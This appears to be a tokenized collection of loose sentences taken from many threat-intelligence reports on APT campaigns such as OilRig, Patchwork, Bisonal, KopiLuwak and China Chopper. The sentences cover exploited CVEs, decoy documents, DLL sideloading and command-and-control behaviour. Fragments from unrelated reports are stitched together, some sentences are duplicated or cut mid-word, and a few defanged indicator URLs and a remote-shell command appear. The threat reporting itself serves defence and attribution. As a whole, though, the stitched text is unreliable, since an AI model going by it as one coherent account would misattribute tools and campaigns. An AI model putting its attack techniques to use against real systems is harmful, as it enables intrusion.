In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
Symantec detects this threat as Backdoor.Nidiran .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using hxxp://voguextra.com/decoy.doc .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
The first attack started in early July with a ShimRatReporter payload .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
For example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2 This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP port 443 .
Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name isInterenet Assistant.exe” .
In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
The techniques and modules employed by EvilGnome — that is the use of SFX ,persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
We can observe that the sample is very recent ,created on Thursday , July 4As can be observed in the illustration above ,the makeself script is instructed to run ./setup.sh after unpacking .
The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
In a more recent version of the modified Gh0st RAT malware ,implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
One hour later , Bemstour was used against an educational institution in Belgium .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 ,when it was used in an attack against an educational institution in Hong Kong .
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
Between June and September 2017 ,Bemstour was also used against targets in the Philippines and Vietnam .
Development of Bemstour has continued into 2019 .
Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer) .
The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
While Symantec has never observed the use of Filensfer alongside any known Buckeye tools , information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
Buckeye's exploit tool ,as well as EternalSynergy ,can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
this malware is still actively being used against the Philippines .
Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
The earliest use of the exploit ITW we were able to identify and confirm is a sample (e228045ef57fb8cc1226b62ada7eee9b) dating back to October 2018 (VirusTotal submission of 2018-10-29) with the RTF creation time 2018-10-23 .
Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
However , Beginning on 25 June 2019 , we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit (CVE-2018-0798) .
In addition , a current ANY.RUN playback of our observed Elise infection is also available .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
This includes Python scripts .
Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
However , Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
We identified two methods to deliver the KerrDown downloader to targets .
The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
While investigating KerrDown we found multiple RAR files containing a variant of the malware .
The dropped PE file has the distinctive file name 8.t” .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications , the majority of which are in the system utility category .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
Japan is no stranger to banking malware .
Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
We believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
Madcap” is similar to the XAgent malware , but the former is focused on recording audio .
This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service (contact intelreports@kaspersky.com) .
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server .
These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” .
These campaign-related VPSs are located in South Africa .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
X-Force IRIS determined that the More_eggs backdoor later downloaded additional files , including a signed binary shellcode loader and a signed Dynamic Link Library (DLL) ,as described below , to create a reverse shell and connect to a remote host .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
It is possible that CVE-2017-8759 was being used by additional actors .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
The malware leverages an exploit , codenamed EternalBlue” , that was released by the Shadow Brokers on April 14 , 2017 .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious ETERNALBLUE that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
